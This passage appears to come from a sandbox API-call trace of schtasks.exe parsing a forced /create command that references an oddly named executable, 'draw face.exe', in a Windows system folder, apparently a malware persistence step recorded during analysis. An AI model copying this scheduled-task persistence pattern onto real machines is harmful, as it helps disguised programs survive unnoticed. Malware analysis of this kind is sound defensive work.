StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0119.736] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.736] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.736] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.736] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'") returned 66 [0119.737] GetProcessHeap () returned 0x160526b0000 [0119.737] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x86) returned 0x160526b3c00 [0119.737] GetProcessHeap () returned 0x160526b0000 [0119.737] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x20) returned 0x160526bb950 [0119.737] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.737] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.737] lstrlenW (lpString="/f") returned 2 [0119.737] lstrlenW (lpString="-/") returned 2 [0119.737] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0119.737] lstrlenW (lpString="?") returned 1 [0119.737] lstrlenW (lpString="?") returned 1 [0119.737] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.737] lstrlenW (lpString="f") returned 1 [0119.737] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.737] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|?|") returned 3 [0119.737] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|f|") returned 3 [0119.737] lstrlenW (lpString="|?|") returned 3 [0119.737] lstrlenW (lpString="|f|") returned 3 [0119.737] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0119.737] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.737] lstrlenW (lpString="create") returned 6 [0119.737] lstrlenW (lpString="create") returned 6 [0119.737] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.737] lstrlenW (lpString="f") returned 1 [0119.737] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.738] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|create|") returned 8 [0119.738] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|f|") returned 3 [0119.738] lstrlenW (lpString="|create|") returned 8 [0119.738] lstrlenW (lpString="|f|") returned 3 [0119.738] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0119.738] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.738] lstrlenW (lpString="delete") returned 6 [0119.738] lstrlenW (lpString="delete") returned 6 [0119.738] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.738] lstrlenW (lpString="f") returned 1 [0119.738] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.738] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|delete|") returned 8 [0119.738] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|f|") returned 3 [0119.738] lstrlenW (lpString="|delete|") returned 8 [0119.738] lstrlenW (lpString="|f|") returned 3 [0119.738] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0119.738] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.738] lstrlenW (lpString="query") returned 5 [0119.738] lstrlenW (lpString="query") returned 5 [0119.738] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.738] lstrlenW (lpString="f") returned 1 [0119.738] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.738] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x8, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|query|") returned 7 [0119.738] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|f|") returned 3 [0119.738] lstrlenW (lpString="|query|") returned 7 [0119.739] lstrlenW (lpString="|f|") returned 3 [0119.739] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0119.739] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.739] lstrlenW (lpString="change") returned 6 [0119.739] lstrlenW (lpString="change") returned 6 [0119.739] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.739] lstrlenW (lpString="f") returned 1 [0119.739] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.739] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|change|") returned 8 [0119.739] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|f|") returned 3 [0119.739] lstrlenW (lpString="|change|") returned 8 [0119.739] lstrlenW (lpString="|f|") returned 3 [0119.739] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0119.739] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.739] lstrlenW (lpString="run") returned 3 [0119.739] lstrlenW (lpString="run") returned 3 [0119.739] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.739] lstrlenW (lpString="f") returned 1 [0119.739] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.739] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x6, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|run|") returned 5 [0119.739] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|f|") returned 3 [0119.739] lstrlenW (lpString="|run|") returned 5 [0119.739] lstrlenW (lpString="|f|") returned 3 [0119.739] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0119.740] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.740] lstrlenW (lpString="end") returned 3 [0119.740] lstrlenW (lpString="end") returned 3 [0119.740] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.740] lstrlenW (lpString="f") returned 1 [0119.740] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.740] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x6, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|end|") returned 5 [0119.740] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|f|") returned 3 [0119.740] lstrlenW (lpString="|end|") returned 5 [0119.740] lstrlenW (lpString="|f|") returned 3 [0119.740] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0119.740] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.740] lstrlenW (lpString="showsid") returned 7 [0119.740] lstrlenW (lpString="showsid") returned 7 [0119.740] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.740] lstrlenW (lpString="f") returned 1 [0119.740] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.740] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0xa, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|showsid|") returned 9 [0119.740] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227f548 | out: _Buffer="|f|") returned 3 [0119.740] lstrlenW (lpString="|showsid|") returned 9 [0119.740] lstrlenW (lpString="|f|") returned 3 [0119.740] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0119.740] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.740] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.740] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.741] lstrlenW (lpString="/f") returned 2 [0119.741] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0119.741] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.741] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.741] lstrlenW (lpString="/f") returned 2 [0119.741] GetProcessHeap () returned 0x160526b0000 [0119.741] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x6) returned 0x160526b3c90 [0119.741] GetProcessHeap () returned 0x160526b0000 [0119.741] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x20) returned 0x160526bba10 [0119.741] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.741] GetProcessHeap () returned 0x160526b0000 [0119.741] GetProcessHeap () returned 0x160526b0000 [0119.741] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b3f40) returned 1 [0119.741] GetProcessHeap () returned 0x160526b0000 [0119.741] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b3f40) returned 0x8 [0119.741] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b3f40) returned 1 [0119.741] GetProcessHeap () returned 0x160526b0000 [0119.741] GetProcessHeap () returned 0x160526b0000 [0119.741] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526bb710) returned 1 [0119.741] GetProcessHeap () returned 0x160526b0000 [0119.741] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526bb710) returned 0x20 [0119.742] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526bb710) returned 1 [0119.742] GetProcessHeap () returned 0x160526b0000 [0119.742] GetProcessHeap () returned 0x160526b0000 [0119.742] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b42c0) returned 1 [0119.742] GetProcessHeap () returned 0x160526b0000 [0119.742] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b42c0) returned 0x16 [0119.742] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b42c0) returned 1 [0119.742] GetProcessHeap () returned 0x160526b0000 [0119.742] GetProcessHeap () returned 0x160526b0000 [0119.742] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526bb9b0) returned 1 [0119.742] GetProcessHeap () returned 0x160526b0000 [0119.742] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526bb9b0) returned 0x20 [0119.743] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526bb9b0) returned 1 [0119.743] GetProcessHeap () returned 0x160526b0000 [0119.743] GetProcessHeap () returned 0x160526b0000 [0119.743] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b42e0) returned 1 [0119.743] GetProcessHeap () returned 0x160526b0000 [0119.743] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b42e0) returned 0x8 [0119.743] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b42e0) returned 1 [0119.743] GetProcessHeap () returned 0x160526b0000 [0119.743] GetProcessHeap () returned 0x160526b0000 [0119.743] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526bb860) returned 1 [0119.743] GetProcessHeap () returned 0x160526b0000 [0119.743] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526bb860) returned 0x20 [0119.743] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526bb860) returned 1 [0119.743] GetProcessHeap () returned 0x160526b0000 [0119.743] GetProcessHeap () returned 0x160526b0000 [0119.743] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b4300) returned 1 [0119.743] GetProcessHeap () returned 0x160526b0000 [0119.744] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b4300) returned 0xe [0119.744] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b4300) returned 1 [0119.744] GetProcessHeap () returned 0x160526b0000 [0119.744] GetProcessHeap () returned 0x160526b0000 [0119.744] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526bb7d0) returned 1 [0119.744] GetProcessHeap () returned 0x160526b0000 [0119.744] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526bb7d0) returned 0x20 [0119.744] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526bb7d0) returned 1 [0119.744] GetProcessHeap () returned 0x160526b0000 [0119.744] GetProcessHeap () returned 0x160526b0000 [0119.744] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b4320) returned 1 [0119.744] GetProcessHeap () returned 0x160526b0000 [0119.744] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b4320) returned 0x8 [0119.744] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b4320) returned 1 [0119.744] GetProcessHeap () returned 0x160526b0000 [0119.744] GetProcessHeap () returned 0x160526b0000 [0119.744] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526bb410) returned 1 [0119.744] GetProcessHeap () returned 0x160526b0000 [0119.744] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526bb410) returned 0x20 [0119.745] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526bb410) returned 1 [0119.745] GetProcessHeap () returned 0x160526b0000 [0119.745] GetProcessHeap () returned 0x160526b0000 [0119.745] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b4340) returned 1 [0119.745] GetProcessHeap () returned 0x160526b0000 [0119.745] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b4340) returned 0x4 [0119.745] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b4340) returned 1 [0119.745] GetProcessHeap () returned 0x160526b0000 [0119.745] GetProcessHeap () returned 0x160526b0000 [0119.745] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526bb920) returned 1 [0119.745] GetProcessHeap () returned 0x160526b0000 [0119.745] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526bb920) returned 0x20 [0119.745] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526bb920) returned 1 [0119.745] GetProcessHeap () returned 0x160526b0000 [0119.745] GetProcessHeap () returned 0x160526b0000 [0119.745] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b4360) returned 1 [0119.745] GetProcessHeap () returned 0x160526b0000 [0119.745] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b4360) returned 0x8 [0119.745] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b4360) returned 1 [0119.746] GetProcessHeap () returned 0x160526b0000 [0119.746] GetProcessHeap () returned 0x160526b0000 [0119.746] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526bb830) returned 1 [0119.746] GetProcessHeap () returned 0x160526b0000 [0119.746] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526bb830) returned 0x20 [0119.746] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526bb830) returned 1 [0119.746] GetProcessHeap () returned 0x160526b0000 [0119.746] GetProcessHeap () returned 0x160526b0000 [0119.746] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b3c00) returned 1 [0119.746] GetProcessHeap () returned 0x160526b0000 [0119.746] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b3c00) returned 0x86 [0119.746] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b3c00) returned 1 [0119.747] GetProcessHeap () returned 0x160526b0000 [0119.747] GetProcessHeap () returned 0x160526b0000 [0119.747] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526bb950) returned 1 [0119.747] GetProcessHeap () returned 0x160526b0000 [0119.747] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526bb950) returned 0x20 [0119.747] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526bb950) returned 1 [0119.747] GetProcessHeap () returned 0x160526b0000 [0119.747] GetProcessHeap () returned 0x160526b0000 [0119.747] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b3c90) returned 1 [0119.747] GetProcessHeap () returned 0x160526b0000 [0119.747] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b3c90) returned 0x6 [0119.747] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b3c90) returned 1 [0119.747] GetProcessHeap () returned 0x160526b0000 [0119.747] GetProcessHeap () returned 0x160526b0000 [0119.747] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526bba10) returned 1 [0119.747] GetProcessHeap () returned 0x160526b0000 [0119.747] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526bba10) returned 0x20 [0119.748] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526bba10) returned 1 [0119.748] GetProcessHeap () returned 0x160526b0000 [0119.748] GetProcessHeap () returned 0x160526b0000 [0119.748] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526b4a60) returned 1 [0119.748] GetProcessHeap () returned 0x160526b0000 [0119.748] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526b4a60) returned 0x18 [0119.748] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526b4a60) returned 1 [0119.748] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.748] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0119.748] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0119.748] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0119.749] RtlVerifyVersionInfo (VersionInfo=0x342227c4e0, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0119.749] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.749] lstrlenW (lpString="create") returned 6 [0119.749] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0119.749] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.749] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.749] lstrlenW (lpString="create") returned 6 [0119.749] GetProcessHeap () returned 0x160526b0000 [0119.749] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x20) returned 0x160526bb6b0 [0119.749] GetProcessHeap () returned 0x160526b0000 [0119.749] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x18) returned 0x160526bac10 [0119.749] _memicmp (_Buf1=0x160526bac10, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.749] GetProcessHeap () returned 0x160526b0000 [0119.749] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x16) returned 0x160526ba9f0 [0119.749] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.749] _memicmp (_Buf1=0x160526b4800, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.749] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x160526b9b40, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0119.749] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x342227c638 | out: lpdwHandle=0x342227c638) returned 0x76c [0119.750] GetProcessHeap () returned 0x160526b0000 [0119.750] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x776) returned 0x160526bbd80 [0119.750] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x160526bbd80 | out: lpData=0x160526bbd80) returned 1 [0119.750] VerQueryValueW (in: pBlock=0x160526bbd80, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x342227c5d0, puLen=0x342227c630 | out: lplpBuffer=0x342227c5d0*=0x160526bc130, puLen=0x342227c630) returned 1 [0119.750] _memicmp (_Buf1=0x160526b4800, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.750] _vsnwprintf (in: _Buffer=0x160526b9b40, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x342227c5a8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0119.750] VerQueryValueW (in: pBlock=0x160526bbd80, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x342227c5c0, puLen=0x342227c628 | out: lplpBuffer=0x342227c5c0*=0x160526bbf60, puLen=0x342227c628) returned 1 [0119.750] lstrlenW (lpString="schtasks.exe") returned 12 [0119.750] lstrlenW (lpString="schtasks.exe") returned 12 [0119.750] lstrlenW (lpString=".EXE") returned 4 [0119.750] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0119.750] lstrlenW (lpString="schtasks.exe") returned 12 [0119.750] lstrlenW (lpString=".EXE") returned 4 [0119.750] lstrlenW (lpString="schtasks") returned 8 [0119.751] lstrlenW (lpString="/create") returned 7 [0119.751] _memicmp (_Buf1=0x160526b4800, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.751] _vsnwprintf (in: _Buffer=0x160526b9b40, _BufferCount=0x19, _Format="%s %s", _ArgList=0x342227c5a8 | out: _Buffer="schtasks /create") returned 16 [0119.751] _memicmp (_Buf1=0x160526b4820, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.751] GetProcessHeap () returned 0x160526b0000 [0119.751] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x20) returned 0x160526bb560 [0119.751] _memicmp (_Buf1=0x160526b4840, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.751] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x160526bbb70, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0119.751] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0119.751] GetProcessHeap () returned 0x160526b0000 [0119.751] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x30) returned 0x160526b42c0 [0119.751] _vsnwprintf (in: _Buffer=0x160526b38a0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x342227c5a8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0119.751] GetProcessHeap () returned 0x160526b0000 [0119.751] GetProcessHeap () returned 0x160526b0000 [0119.751] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526bbd80) returned 1 [0119.751] GetProcessHeap () returned 0x160526b0000 [0119.751] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526bbd80) returned 0x776 [0119.752] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526bbd80) returned 1 [0119.752] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.752] GetThreadLocale () returned 0x409 [0119.752] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0119.752] lstrlenW (lpString="create") returned 6 [0119.752] GetThreadLocale () returned 0x409 [0119.752] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0119.752] lstrlenW (lpString="?") returned 1 [0119.752] GetThreadLocale () returned 0x409 [0119.752] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0119.752] lstrlenW (lpString="s") returned 1 [0119.752] GetThreadLocale () returned 0x409 [0119.752] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0119.752] lstrlenW (lpString="u") returned 1 [0119.752] GetThreadLocale () returned 0x409 [0119.752] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0119.752] lstrlenW (lpString="p") returned 1 [0119.752] GetThreadLocale () returned 0x409 [0119.752] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0119.752] lstrlenW (lpString="ru") returned 2 [0119.752] GetThreadLocale () returned 0x409 [0119.752] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0119.752] lstrlenW (lpString="rp") returned 2 [0119.752] GetThreadLocale () returned 0x409 [0119.752] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0119.752] lstrlenW (lpString="sc") returned 2 [0119.753] GetThreadLocale () returned 0x409 [0119.753] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0119.753] lstrlenW (lpString="mo") returned 2 [0119.753] GetThreadLocale () returned 0x409 [0119.753] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0119.753] lstrlenW (lpString="d") returned 1 [0119.753] GetThreadLocale () returned 0x409 [0119.753] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0119.753] lstrlenW (lpString="m") returned 1 [0119.753] GetThreadLocale () returned 0x409 [0119.753] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0119.753] lstrlenW (lpString="i") returned 1 [0119.753] GetThreadLocale () returned 0x409 [0119.753] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0119.753] lstrlenW (lpString="tn") returned 2 [0119.753] GetThreadLocale () returned 0x409 [0119.753] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0119.753] lstrlenW (lpString="tr") returned 2 [0119.753] GetThreadLocale () returned 0x409 [0119.753] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0119.753] lstrlenW (lpString="st") returned 2 [0119.753] GetThreadLocale () returned 0x409 [0119.753] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0119.753] lstrlenW (lpString="sd") returned 2 [0119.753] GetThreadLocale () returned 0x409 [0119.753] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0119.753] lstrlenW (lpString="ed") returned 2 [0119.753] GetThreadLocale () returned 0x409 [0119.753] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0119.754] lstrlenW (lpString="it") returned 2 [0119.754] GetThreadLocale () returned 0x409 [0119.754] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0119.754] lstrlenW (lpString="et") returned 2 [0119.754] GetThreadLocale () returned 0x409 [0119.754] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0119.754] lstrlenW (lpString="k") returned 1 [0119.754] GetThreadLocale () returned 0x409 